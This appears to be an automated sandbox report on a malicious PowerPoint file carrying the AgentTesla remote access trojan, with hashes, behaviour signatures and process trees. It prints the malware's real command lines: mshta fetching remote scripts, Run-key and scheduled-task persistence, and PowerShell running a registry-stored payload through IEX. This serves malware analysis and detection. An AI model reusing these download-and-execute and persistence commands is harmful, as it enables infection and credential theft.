Analysis
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max time kernel
143s -
max time network
149s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
22-04-2021 07:04
Behavioral task
behavioral1
Sample
Remittance_PO-89488484.ppt
Resource
win7v20210410
Behavioral task
behavioral2
Sample
Remittance_PO-89488484.ppt
Resource
win10v20210408
General
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Target
Remittance_PO-89488484.ppt
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Size
62KB
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MD5
b89f3f4467df6600138ba12eb1522f95
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SHA1
9d2567c6ebb4168b0670d4c00a7986de5c83a719
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SHA256
30969a11fe37f466bf5a9501d1c705e48a0073b725371062d9d9f889cc4b8156
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SHA512
3a127bd31192a8a7ee67c407887c62b40e1c113ff49a2cc1fae0ea6dd58198c60308ee13898f642d63deaf6ec561e52f15d396fd05f7f5fbf5c66ebdd0b58e55
Malware Config
Extracted
https://j.mp/ghduiqhwdbiiqwgd
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 3828 4020 mshta.exe POWERPNT.EXE Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3884 3352 powershell.exe -
AgentTesla Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2184-186-0x00000000004376BE-mapping.dmp family_agenttesla -
Blocklisted process makes network request 13 IoCs
Processes:
mshta.exepowershell.exeflow pid process 34 3828 mshta.exe 35 3828 mshta.exe 37 3828 mshta.exe 39 3828 mshta.exe 41 3828 mshta.exe 43 3828 mshta.exe 44 3828 mshta.exe 46 3828 mshta.exe 49 3828 mshta.exe 50 3828 mshta.exe 52 3828 mshta.exe 53 3828 mshta.exe 56 3884 powershell.exe -
Drops file in Drivers directory 1 IoCs
Processes:
aspnet_compiler.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe -
Adds Run key to start application 2 TTPs 5 IoCs
Processes:
mshta.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%[email protected]/p/backbone15.html\"" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%[email protected]/p/ghostbackup14.html\"" mshta.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)|IEX\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%[email protected]/p/razamanaback.html\"" mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3884 set thread context of 2184 3884 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 4020 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exeaspnet_compiler.exepid process 3884 powershell.exe 3884 powershell.exe 3884 powershell.exe 2184 aspnet_compiler.exe 2184 aspnet_compiler.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
powershell.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 3884 powershell.exe Token: SeIncreaseQuotaPrivilege 3884 powershell.exe Token: SeSecurityPrivilege 3884 powershell.exe Token: SeTakeOwnershipPrivilege 3884 powershell.exe Token: SeLoadDriverPrivilege 3884 powershell.exe Token: SeSystemProfilePrivilege 3884 powershell.exe Token: SeSystemtimePrivilege 3884 powershell.exe Token: SeProfSingleProcessPrivilege 3884 powershell.exe Token: SeIncBasePriorityPrivilege 3884 powershell.exe Token: SeCreatePagefilePrivilege 3884 powershell.exe Token: SeBackupPrivilege 3884 powershell.exe Token: SeRestorePrivilege 3884 powershell.exe Token: SeShutdownPrivilege 3884 powershell.exe Token: SeDebugPrivilege 3884 powershell.exe Token: SeSystemEnvironmentPrivilege 3884 powershell.exe Token: SeRemoteShutdownPrivilege 3884 powershell.exe Token: SeUndockPrivilege 3884 powershell.exe Token: SeManageVolumePrivilege 3884 powershell.exe Token: 33 3884 powershell.exe Token: 34 3884 powershell.exe Token: 35 3884 powershell.exe Token: 36 3884 powershell.exe Token: SeIncreaseQuotaPrivilege 3884 powershell.exe Token: SeSecurityPrivilege 3884 powershell.exe Token: SeTakeOwnershipPrivilege 3884 powershell.exe Token: SeLoadDriverPrivilege 3884 powershell.exe Token: SeSystemProfilePrivilege 3884 powershell.exe Token: SeSystemtimePrivilege 3884 powershell.exe Token: SeProfSingleProcessPrivilege 3884 powershell.exe Token: SeIncBasePriorityPrivilege 3884 powershell.exe Token: SeCreatePagefilePrivilege 3884 powershell.exe Token: SeBackupPrivilege 3884 powershell.exe Token: SeRestorePrivilege 3884 powershell.exe Token: SeShutdownPrivilege 3884 powershell.exe Token: SeDebugPrivilege 3884 powershell.exe Token: SeSystemEnvironmentPrivilege 3884 powershell.exe Token: SeRemoteShutdownPrivilege 3884 powershell.exe Token: SeUndockPrivilege 3884 powershell.exe Token: SeManageVolumePrivilege 3884 powershell.exe Token: 33 3884 powershell.exe Token: 34 3884 powershell.exe Token: 35 3884 powershell.exe Token: 36 3884 powershell.exe Token: SeDebugPrivilege 2184 aspnet_compiler.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
POWERPNT.EXEpid process 4020 POWERPNT.EXE -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
POWERPNT.EXEaspnet_compiler.exepid process 4020 POWERPNT.EXE 4020 POWERPNT.EXE 4020 POWERPNT.EXE 2184 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
POWERPNT.EXEmshta.exepowershell.exedescription pid process target process PID 4020 wrote to memory of 3828 4020 POWERPNT.EXE mshta.exe PID 4020 wrote to memory of 3828 4020 POWERPNT.EXE mshta.exe PID 3828 wrote to memory of 2024 3828 mshta.exe schtasks.exe PID 3828 wrote to memory of 2024 3828 mshta.exe schtasks.exe PID 3884 wrote to memory of 2184 3884 powershell.exe aspnet_compiler.exe PID 3884 wrote to memory of 2184 3884 powershell.exe aspnet_compiler.exe PID 3884 wrote to memory of 2184 3884 powershell.exe aspnet_compiler.exe PID 3884 wrote to memory of 2184 3884 powershell.exe aspnet_compiler.exe PID 3884 wrote to memory of 2184 3884 powershell.exe aspnet_compiler.exe PID 3884 wrote to memory of 2184 3884 powershell.exe aspnet_compiler.exe PID 3884 wrote to memory of 2184 3884 powershell.exe aspnet_compiler.exe PID 3884 wrote to memory of 2184 3884 powershell.exe aspnet_compiler.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Remittance_PO-89488484.ppt" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\SYSTEM32\mshta.exe"mshta""https://j.mp/ghduiqhwdbiiqwgd"2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/razamana.html""\"", 0 : window.close"\")3⤵
- Creates scheduled task(s)
PID:2024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3884 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe#cmd2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2184
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